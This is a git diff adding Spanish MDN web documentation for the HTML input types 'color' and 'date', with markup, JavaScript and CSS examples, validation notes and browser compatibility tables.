+<p>La presentación del elemento puede variar considerablamente entre navegadores y plataformas: podría ser un campo de entrada sencillo que valida automáticamente que la entrada esté en el formato adecuado, o podría lanzar un selector de colores estándar de la plataforma, o incluso podría abrir una ventana de colores personalizada.</p>
+
+<div id="summary_example1">
+<pre class="brush: html">&lt;input type="color"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary_example1", 700, 30)}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Una {{domxref("DOMString")}} de siete caracteres que especifica un {{cssxref("&lt;color&gt;")}} en notación hexadecimal en minúsculas</td>
+  </tr>
+  <tr>
+   <td><strong>Sucesos</strong></td>
+   <td>{{event("change")}} e {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos comunes admitidos</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}} y {{htmlattrxref("list", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos IDL</strong></td>
+   <td><code>list</code> y <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Métodos</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Valor">Valor</h2>
+
+<p>El {{htmlattrxref("value", "input")}} de un elemento {{HTMLElement("input")}} del tipo «<code>color</code>» es siempre una {{domxref("DOMString")}} que contiene una cadena de siete caracteres en la que se especifica un color RGB de manera hexadecimal. Aunque es posible introducir el color tanto en mayúsculas como en minúsculas, este se almacena en minúsculas. El valor nunca presenta otra forma y nunca está vacío.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: definir el valor a cualquier cosa que no sea un color válido, totalmente opaco y contenido dentro del espacio RGB <em>en notación hexadecimal</em> causará que el valor se establezca a «<code>#000000</code>». En particular, no es posible utilizar los nombres de colores estandarizados de CSS ni cualquier sintaxis de función CSS para definir el valor. Esto tiene sentido si se tiene en cuenta que HTML y CSS son lenguajes y especificaciones independientes. Por otra parte, no se admiten los colores que incluyan un canal alfa; definir un color en la notación hexadecimal de nueve caracteres (p. ej., <code>#009900aa</code>) también provocará que el valor se establezca a «<code>#000000</code>».</p>
+</div>
+
+<h2 id="Uso_de_las_entradas_de_color">Uso de las entradas de color</h2>
+
+<p>Las entradas del tipo «<code>color</code>» son sencillas debido al número limitado de atributos que admiten.</p>
+
+<h3 id="Proporcionar_un_color_predeterminado">Proporcionar un color predeterminado</h3>
+
+<p>Puede actualizar el ejemplo simple anterior para definir un valor predeterminado, de manera que el botón muestrario de colores tenga precargado ese color y el selector de colores (si lo hay) se abra con ese color preseleccionado también:</p>
+
+<pre class="brush: html">&lt;input type="color" value="#ff0000"&gt;</pre>
+
+<p>{{EmbedLiveSample("Providing_a_default_color", 700, 30)}}</p>
+
+<p>Si no especifica un valor, se utilizará «<code>#000000</code>», negro, de manera predeterminada. El valor debe especificarse en la notación hexadecimal de siete caracteres; esto es, el carácter «#» seguido de dos dígitos para representar el rojo, el verde y el azul: «<code>#rrggbb</code>». Si utiliza colores especificados en cualquier otro formato (como los nombres de colores CSS o las funciones cromáticas de CSS como <code>rgb()</code> o <code>rgba()</code>), deberá convertirlos en valores hexadecimales antes de definir <code>value</code>.</p>
+
+<h3 id="Llevar_un_seguimiento_de_los_cambios_de_color">Llevar un seguimiento de los cambios de color</h3>
+
+<p>Como sucede con otros tipos de {{HTMLElement("input")}}, existen dos sucesos que pueden emplearse para detectar cambios en el valor de color: {{event("input")}} y {{event("change")}}. El suceso <code>input</code> se desencadena en el elemento <code>&lt;input&gt;</code> siempre que cambia el color. El suceso <code>change</code> se desencadena cuando el usuario cierra el selector de colores. En ambos casos, puede determinar el valor nuevo del elemento al examinar su {{domxref("HTMLInputElement.value", "value")}}.</p>
+
+<p>Este ejemplo vigila los cambios del valor de color en el tiempo:</p>
+
+<pre class="brush: js">colorPicker.addEventListener("input", actualizarPrimero, false);
+colorPicker.addEventListener("change", watchColorPicker, false);
+
+function watchColorPicker(event) {
+  document.querySelectorAll("p").forEach(function(p) {
+    p.style.color = event.target.value;
+  });
+}
+</pre>
+
+<h3 id="Seleccionar_el_valor">Seleccionar el valor</h3>
+
+<p>Si la implementación del elemento {{HTMLElement("input")}} del tipo «<code>color</code>» en el navegador del usuario no admite un botón muestrario, y es en cambio un campo de texto para escribir directamente la cadena de color, podrá utilizar el método {{domxref("HTMLInputElement.select", "select()")}} para seleccionar el texto actualmente presente en el campo editable. Si el navegador utiliza en su lugar un botón muestrario, <code>select()</code> no hace nada. Debe tener presente este comportamiento para que su código pueda responder adecuadamente en cada caso.</p>
+
+<pre class="brush: js">muestrario.select();</pre>
+
+<h3 id="Variaciones_de_apariencia">Variaciones de apariencia</h3>
+
+<p>Como se mencionó anteriormente, cuando un navegador no admite una interfaz de selección de colores, su implementación de las entradas de color viene en forma de un cuadro de texto que valida su contenido automáticamente para garantizar que el valor esté en el formato adecuado. Por ejemplo, en Safari 10.1 verá algo como esto:</p>
+
+<p><img alt="Screenshot of the example taken in Safari." src="https://mdn.mozillademos.org/files/14899/input-color-safari.png" style="border-style: solid; border-width: 1px; height: 160px; width: 598px;"></p>
+
+<p>El mismo contenido luce así en Firefox 55:</p>
+
+<p><img alt="Screenshot of the example taken in Firefox 55 for macOS" src="https://mdn.mozillademos.org/files/14901/input-color-firefox.png" style="border-style: solid; border-width: 1px; height: 160px; width: 598px;"></p>
+
+<p>En este caso, al pulsar en el muestrario de colores aparecerá el selector de la plataforma desde el cual elegir un color (en el ejemplo, el selector de macOS):</p>
+
+<p><img alt="Screenshot of the element with the color picker open in Firefox Mac." src="https://mdn.mozillademos.org/files/14903/input-with-picker-firefox-mac.png" style="border-style: solid; border-width: 1px; height: 405px; width: 682px;"></p>
+
+<h2 id="Validación">Validación</h2>
+
+<p>El valor de una entrada de colores se considera no válido si el {{Glossary("user agent")}} no es capaz de convertir la entrada del usuario en la notación hexadecimal de siete caracteres minúsculos. Cuando se da esta situación, se aplica la pseudoclase {{cssxref(":invalid")}} al elemento.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Creemos un ejemplo que realice algo más con la entrada de color a través de la monitorización de los sucesos {{event("change")}} y {{event("input")}} para tomar el color nuevo y aplicarlo a cada uno de los elementos {{HTMLElement("p")}} del documento.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>El código HTML es bastante sencillo: un par de párrafos de material descriptivo con un {{HTMLElement("input")}} del tipo «<code>color</code>» con el identificador «<code>muestrario</code>», el cual utilizaremos para modificar el color del texto de los párrafos.</p>
+
+<pre class="brush: html">&lt;p&gt;Este ejemplo demuestra la utilización del control &lt;code&gt;&amp;lt;input type="color"&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+
+&lt;label for="muestrario"&gt;Color:&lt;/label&gt;
+&lt;input type="color" value="#ff0000" id="muestrario"&gt;
+
+&lt;p&gt;Observe cómo el color de los párrafos cambia cuando manipula el selector de colores.
+   A medida que realiza cambios en el selector, el color del primer párrafo cambia,
+   a manera de previsualización (esto usa el suceso &lt;code&gt;input&lt;/code&gt;).
+   Cuando cierra el selector, se desencadena el suceso &lt;code&gt;change&lt;/code&gt;
+   y podemos detectarlo para cambiar todos los párrafos al color elegido.&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Primero hay que realizar un poco de configuración. Aquí estableceremos algunas variables, una de las cuales contendrá el color que definiremos en el botón muestrario durante la primera carga y, a continuación, configurará un manejador para {{event("load")}} para realizar el trabajo de inicialización cuando termine de cargarse la página.</p>
+
+<pre class="brush: js">var muestrario;
+var colorPredeterminado = "#0000ff";
+
+window.addEventListener("load", startup, false);
+</pre>
+
+<h4 id="Inicialización">Inicialización</h4>
+
+<p>Una vez que se haya cargado la página, se realizará una llamada a nuestro manejador del suceso <code>load</code>, <code>startup()</code>:</p>
+
+<pre class="brush: js">function startup() {
+  muestrario = document.querySelector("#muestrario");
+  muestrario.value = colorPredeterminado;
+  muestrario.addEventListener("input", actualizarPrimero, false);
+  muestrario.addEventListener("change", actualizarTodo, false);
+  muestrario.select();
+}
+</pre>
+
+<p>Esto obtiene una referencia al elemento de color <code>&lt;input&gt;</code> en una variable denominada <code>muestrario</code> y, acto seguido, define el valor de la entrada de color al valor de <code>colorPredeterminado</code>. Después, el suceso {{event("input")}} de la entrada de color se configura para llamar a nuestra función <code>actualizarPrimero()</code> y el suceso {{event("change")}} se configura para llamar <code>actualizarTodo()</code>. Ambos pueden apreciarse a continuación.</p>
+
+<p>Por último, llamamos {{domxref("HTMLInputElement.select", "select()")}} para seleccionar el contenido de texto de la entrada de color input en caso de que el control se haya implementado como un cuadro de texto (lo cual no producirá ningún efecto si se ha brindado una interfaz de selección de colores en su lugar).</p>
+
+<h4 id="Reaccionar_a_cambios_de_color">Reaccionar a cambios de color</h4>
+
+<p>Proveemos dos funciones que se ocupan de los cambios de color. La función <code>actualizarPrimero()</code> se llama en respuesta al suceso <code>input</code>. Esta modifica el color del primer elemento de párrafo del documento para que corresponda con el nuevo valor de la entrada de color. Como los sucesos <code>input</code> se desencadenan cada vez que se realiza un ajuste al valor (por ejemplo, si se aumenta el brillo del color), estos se producirán repetidamente mientras se manipule el selector de colores.</p>
+
+<pre class="brush: js">function actualizarPrimero(event) {
+  var p = document.querySelector("p");
+
+  if (p) {
+    p.style.color = event.target.value;
+  }
+}</pre>
+
+<p>Cuando se cierre el selector de colores, señalando que el valor dejará de cambiar (a menos que el usuario vuelva a abrir el selector), se envía el suceso <code>change</code> al elemento. Manejamos ese suceso a través de la función <code>actualizarTodo()</code>, sirviéndonos de {{domxref("HTMLInputElement.value", "Event.target.value")}} para obtener el color final seleccionado:</p>
+
+<pre class="brush: js">function actualizarTodo(event) {
+  document.querySelectorAll("p").forEach(function(p) {
+    p.style.color = event.target.value;
+  });
+}
+</pre>
+
+<p>Esto define el color de cada uno de los bloques {{HTMLElement("p")}} de manera que sus atributos {{cssxref("color")}} coincidan con el valor actual de la entrada de color, a la cual se hace referencia con {{domxref("Event.target", "event.target")}}.</p>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>El resultado final es el siguiente:</p>
+
+<p>{{EmbedLiveSample("Example", 700, 200)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Compatibilidad básica</td>
+   <td>20.0</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop(29)}} <sup><a href="#footnote_1">[1]</a></sup></td>
+   <td>{{CompatNo}}</td>
+   <td>11.01</td>
+   <td>10</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("list", "input")}}</td>
+   <td>20.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("autocomplete", "input")}}</td>
+   <td>20.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox móvil (Gecko)</th>
+   <th>IE móvil</th>
+   <th>Opera móvil</th>
+   <th>Safari móvil</th>
+  </tr>
+  <tr>
+   <td>Compatibilidad básica</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("list", "input")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("autocomplete", "input")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p id="footnote_1">[1] Firefox no admite aún las entradas del tipo «<code>color</code>» en Windows Touch.</p>
+
+<p>[2] Consulte {{bug(960984)}} para conocer el estado de compatibilidad del atributo <code>list</code> en Firefox.</p>
+
+<p>[3] Consulte {{bug(960989)}} para conocer el estado de compatibilidad del atributo <code>autocomplete</code> en Firefox. Puede modificar y obtener el valor del atributo, pero este no surte ningún efecto.</p>
diff --git a/files/es/web/html/elemento/input/date/index.html b/files/es/web/html/elemento/input/date/index.html
new file mode 100644
index 0000000000..a1c36c5530
--- /dev/null
+++ b/files/es/web/html/elemento/input/date/index.html
@@ -0,0 +1,567 @@
+---
+title: <input type="date">
+slug: Web/HTML/Elemento/input/date
+tags:
+  - Elemento
+  - Fecha
+  - Formulários HTML
+  - Inputs en formularios
+  - tipo Input
+translation_of: Web/HTML/Element/input/date
+---
+<p>{{HTMLRef}}</p>
+
+<p>Los elementos de <span class="seoSummary">{{htmlelement("input")}} del tipo <strong><code>date</code></strong> crean campos de entrada que permiten a los usuarios proporcionar una fecha, bien a través de un cuadro de texto que valida automáticamente el contenido, o bien mediante una interfaz especial de selección de fechas.</span> El valor resultante incluye el año, el mes y el día, pero no la hora. Los tipos de entrada <a href="/en-US/docs/Web/HTML/Element/input/time">time</a> y <code><a href="/en-US/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code> admiten entradas de hora y de hora y fecha.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-date.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>La IU del control varía en función del navegador. Por el momento, la compatibilidad es dispersa; consulte {{anch("Compatibilidad entre navegadores")}} para obtener más detalles. En los navegadores no compatibles, el control se degrada sin problemas a un sencillo <code><a href="/en-US/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;.</a></code></p>
+
+<pre>&lt;input id="date" type="date"&gt;</pre>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-date.html", "tabbed-shorter")}}</div>
+
+<p>Entre los navegadores que admiten una interfaz personalizada para seleccionar fechas se encuentran Chrome y Opera, cuyo control luce así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14909/date-picker-chrome.png"></p>
+
+<p>El control de fecha de Edge luce así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14911/date-picker-edge.png"></p>
+
+<p>El control de Firefox luce así:</p>
+
+<p><img alt="Datepicker UI in firefox" src="https://mdn.mozillademos.org/files/15644/firefox_datepicker.png"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valor")}}</strong></td>
+   <td>Una {{domxref("DOMString")}} que representa una fecha en el formato AAAA-MM-DD, o nada</td>
+  </tr>
+  <tr>
+   <td><strong>Eventos</strong></td>
+   <td>{{event("change")}} e {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos comunes admitidos</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}} y {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos IDL</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Métodos</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Una {{domxref("DOMString")}} que representa el valor de la fecha proporcionada en la entrada. Es posible establecer un valor predeterminado para la entrada al incluir una fecha en el atributo {{htmlattrxref("value", "input")}}, de esta manera:</p>
+
+<pre>&lt;input id="date" type="date" value="2017-06-01"&gt;</pre>
+
+<p>{{EmbedLiveSample('Value', 600, 40)}}</p>
+
+<p>Cabe destacar que el formato de fecha mostrado difiere del <code>value</code> en sí: el formato de fecha mostrado se escogerá en función de la configuración regional del navegador del usuario, aunque el <code>value</code> de fecha siempre se formatee como <code>aaaa-mm-dd</code>.</p>
+
+<p>Es posible asimismo recuperar y establecer el valor de fecha en JavaScript mediante la propiedad {{domxref("HTMLInputElement.value", "value")}} del elemento de entrada; por ejemplo:</p>
+
+<pre>var dateControl = document.querySelector('input[type="date"]');
+dateControl.value = '2017-06-01';</pre>
+
+<p>Este código localiza el primer elemento {{HTMLElement("input")}} cuyo <code>type</code> sea <code>date</code> y define su valor a la fecha 2017-06-01 (1 de junio de 2017).</p>
+
+<h2 id="Atributos_adicionales">Atributos adicionales</h2>
+
+<p>Tenemos atributos adicionales tales como:</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>La fecha máxima aceptada.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>La fecha minima aceptada.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>El intervalo a usar, como cuando das click en las flechas, de cuanto en cuanto va avanzar o retroceder.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(max)">{{htmlattrdef("max")}}</h3>
+
+<p>La ultima fecha a aceptar. Si el{{htmlattrxref("value", "input")}} ingresado en el elemento esta después de esta fecha, el elemento cae <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. Si el valor del <code>max</code> no es un valor valido, sigue el formato <code>yyyy-MM-dd</code>, donde el elemento no tiene máximo valor.</p>
+
+<p>Este valor debe ser especificado mayor o igual especificado por <code>min</code> attribute.</p>
+
+<h3 id="htmlattrdef(min)">{{htmlattrdef("min")}}</h3>
+
+<p>La minima fecha aceptada; Una fecha menor que esta caera <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. Si el valor es <code>min</code> el atributo no es valido y esa el formato <code>yyyy-MM-dd</code>, entonces el elemento no tiene valor minimo.</p>
+
+<p>Este valor debe especificarse como menor o igual<code>max</code> attribute.</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+<h3 id="htmlattrdef(step)">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Para <code>date</code> input, el valor de <code>step</code> se da en dias, con una escala en factor de 86,400,000 (desde el valor numerico en millisegundos). El valor por defecto es <code>step</code> 1, indicando de un día a día.</p>
+
+<div class="blockIndicator note">
+<p>Specifying <code>any</code> as a value for the <code>step</code> attribute makes the same effect as it were equal to <code>1</code> for <code>date</code> inputs.</p>
+</div>
+
+<h2 id="Uso_de_las_entradas_de_fecha">Uso de las entradas de fecha</h2>
+
+<p>Las entradas de fecha suenan prácticas en un primer vistazo, ya que proveen una IU fácil de usar para seleccionar fechas y normalizan el formato de datos que se envía al servidor, sin importar la configuración regional del usuario. Sin embargo, existen problemas con <code>&lt;input type="date"&gt;</code> a causa de la compatibilidad limitada entre navegadores.</p>
+
+<p>Estudiaremos usos básicos y complejos de <code>&lt;input type="date"&gt;</code> y, posteriormente, brindaremos consejos para mitigar el problema de compatibilidad entre navegadores (consulte {{anch("Manejo de compatibilidad entre navegadores")}}). Evidentemente, con el tiempo es esperable que la compatibilidad entre navegadores se amplíe, lo que hará desaparecer este problema.</p>
+
+<h3 id="Usos_básicos_de_date">Usos básicos de <code>date</code></h3>
+
+<p>El uso más sencillo de <code>&lt;input type="date"&gt;</code> supone una combinación de un <code>&lt;input&gt;</code> básico y el elemento {{htmlelement("label")}}, como se indica a continuación:</p>
+
+<pre>&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="bday"&gt;Escriba su cumpleaños:&lt;/label&gt;
+    &lt;input type="date" id="bday" name="bday"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Basic_uses_of_date', 600, 40)}}</p>
+
+<h3 id="Definir_los_límites_superior_e_inferior_de_la_fecha">Definir los límites superior e inferior de la fecha</h3>
+
+<p>Puede utilizar los atributos {{htmlattrxref("min", "input")}} y {{htmlattrxref("max", "input")}} para restringir las fechas que el usuario puede seleccionar. En el ejemplo siguiente, definiremos como la fecha mínima <code>2017-04-01</code> y <code>2017-04-30</code> como la fecha máxima:</p>
+
+<pre>&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Elija la fecha de festejo que prefiera:&lt;/label&gt;
+    &lt;input type="date" id="party" name="party" min="2017-04-01" max="2017-04-30"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Setting_maximum_and_minimum_dates', 600, 40)}}</p>
+
+<p>Como resultado, solo es posible seleccionar los días del mes de abril de 2017; solo la parte de los días del valor de texto es modificable, y no se puede desplazar a ninguna fecha que caiga fuera de abril en la interfaz de selección de fechas.</p>
+
+<p><strong>Nota</strong>: debería ser capaz de utilizar el atributo {{htmlattrxref("step", "input")}} para variar el número de días que se recorren con cada incremento de fecha (p. ej., puede que desee que solo se puedan seleccionar los sábados). No obstante, esto no parece funcionar en ninguna implementación en el momento en que se redactó esta página.</p>
+
+<h3 id="Controlar_el_tamaño_de_la_entrada">Controlar el tamaño de la entrada</h3>
+
+<p><code>&lt;input type="date"&gt;</code> no admite los atributos de dimensionamiento de formularios como {{htmlattrxref("size", "input")}}. Deberá recurrir al <a href="/en-US/docs/Web/CSS">CSS</a> para satisfacer sus necesidades de dimensionamiento.</p>
+
+<h2 id="Validación">Validación</h2>
+
+<p>De manera predeterminada, <code>&lt;input type="date"&gt;</code> no aplica a ninguna validación a los valores introducidos. Las implementaciones de IU generalmente no le permiten escribir algo que no sea una fecha (lo cual es útil) pero aun así podrá dejar el campo vacío o incluso (en los navegadores que recurren al tipo <code>text</code>) escribir una fecha no válida (p. ej., el 32 de abril).</p>
+
+<p>Si utiliza {{htmlattrxref("min", "input")}} y {{htmlattrxref("max", "input")}} para restringir las fechas disponibles (consulte {{anch("Definir los límites superior e inferior de la fecha")}}), los navegadores compatibles mostrarán un error si intenta enviar una fecha que se salga de los límites impuestos. No obstante, tendrá que comprobar los resultados para cerciorarse de que el valor esté dentro de los límites, ya que esta condición solo se hace cumplir si el dispositivo del usuario incluye compatibilidad completa con el selector de fecha.</p>
+
+<p>Además, puede emplear el atributo {{htmlattrxref("required", "input")}} para que proporcionar la fecha sea obligatorio: de nuevo, se mostrará un error si intenta enviar un campo de fecha vacío. Esto, cuando menos, debería funcionar en la mayoría de los navegadores.</p>
+
+<p>Estudie este ejemplo. Aquí hemos establecido las fechas mínima y máxima y convertimos el campo en obligatorio:</p>
+
+<pre>&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Elija la fecha de festejo que prefiera (obligatorio, del 1.º al 20 de abril):&lt;/label&gt;
+    &lt;input type="date" id="party" name="party" min="2017-04-01" max="2017-04-20" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Si intenta enviar el formulario sin una fecha (o con una fecha fuera de los límites definidos), el navegador muestra un error. Pruebe a manipular el ejemplo:</p>
+
+<p>{{EmbedLiveSample('Validation', 600, 100)}}</p>
+
+<p>Esta captura de pantalla ayudará a aquellos que no utilicen un navegador compatible:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14913/date-picker-chrome-error-message.png"></p>
+
+<p>Aqui un codigo CSS usado en el siguiente ejemplo. Donde se hace uso de {{cssxref(":valid")}} e {{cssxref(":invalid")}} Las propiedades en el estilo del "input" según el valor actual es o no valido. Se ponen iconos sobre el {{htmlelement("span")}} al costado del input, no en el mismo cuadro del input, porque en Chrome el contenido generado se remplaza dentro del formulario de control, y este no puede ser personalizado o no se mostraria efectivamente.</p>
+
+<pre>div {
+    margin-bottom: 10px;
+    display: flex;
+    align-items: center;
+}
+
+label {
+  display: inline-block;
+  width: 300px;
+}
+
+input:invalid+span:after {
+    content: '✖';
+    padding-left: 5px;
+}
+
+input:valid+span:after {
+    content: '✓';
+    padding-left: 5px;
+}</pre>
+
+<div class="blockIndicator warning">
+<p><strong>Importante</strong>: El formulario de validación en HTML  no es un sustituto para los scripts que se aseguran que los datos esten ingresados en la forma correcta. Esto es demasiado facil para alguien que realiza ajustes en HTML que le permite pasar la validación, o quitarla de lleno. Es tambien posible para alguien simplificar el proceso de paso del formulario HTML enteramente y pasar la fecha directamente al servidor. Pero si en el lado de tu servidor fallase la validación al recibir la fecha, podria ocurrir un desastre cuando se envien los datos en el formato incorrecto (que la fecha sea muy larga, del tipo incorrecto, entre otras cosas más).</p>
+</div>
+
+<h2 id="Manejo_de_compatibilidad_entre_navegadores">Manejo de compatibilidad entre navegadores</h2>
+
+<p>Como ya se menciono, el mayor problema al usar el "input" tipo date, es al momento de usar un <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/date#Browser_compatibility">navegador compatible</a>. Ejemplo, el date picker en Firefox para Android luciria de la siguiente manera:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14915/date-picker-fxa.png"></p>
+
+<p>Pero los navegadores que no soportan lo remplazarian como un input del tipo texto, esto crea problemas en terminos de consistencia en relacion a la interfaz del usuario (El presente control seria diferente), y el manejo de datos también.</p>
+
+<p>El segundo problema es más serio; como ya se menciono, con un input tipo date, el valor actual siempre se normaliza en el siguiente formato <code>yyyy-mm-dd</code>. Con un input tipo texto, por default el navegador no reconoce el formato en el que deberia estar, y hay muchisimas formas en las que las personas escriben el formato de fecha, Por ejemplo:</p>
+
+<ul>
+ <li><code>ddmmyyyy</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm/dd/yyyy</code></li>
+ <li><code>dd-mm-yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+ <li><code>Month dd yyyy</code></li>
+</ul>
+
+<p>Una forma de evitar esto es usar un {{htmlattrxref("pattern", "input")}}, atributo que se pone en un input tipo date. A pesar de que la entrada tipo date no se usa, el input  tipo text si lo hará, gracias a este {{htmlattrxref("pattern", "input")}}.Mira el siguiente ejemplo en un navegador que no soporta entradas de tipo date:</p>
+
+<pre>&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="bday"&gt;Enter your birthday:&lt;/label&gt;
+    &lt;input type="date" id="bday" name="bday" required pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Handling_browser_support', 600, 100)}}</p>
+
+<p>Si Ud. trata de enviar la fecha, verá que el navegador no despliega un mensaje de error (y considera el valor del input como valido) Si tu entrada en el input no concuerda con el patron establecido <code>nnnn-nn-nn</code>, donde <code>n</code> es un numero del 0 al 9. De seguro, que esto no frenara a las personas de ingresar valores incorrectos de tipo fecha, o formatos incorrectos, como <code>yyyy-dd-mm</code> (mientras que nosotros necesitamos: <code>yyyy-mm-dd</code>). por lo que aún seria un problema...</p>
+
+<pre>div {
+  margin-bottom: 10px;
+}
+
+input:invalid + span {
+  position: relative;
+}
+
+input:invalid + span:after {
+  content: '✖';
+  position: absolute;
+  right: -18px;
+}
+
+input:valid + span {
+  position: relative;
+}
+
+input:valid + span:after {
+  content: '✓';
+  position: absolute;
+  right: -18px;
+}</pre>
+
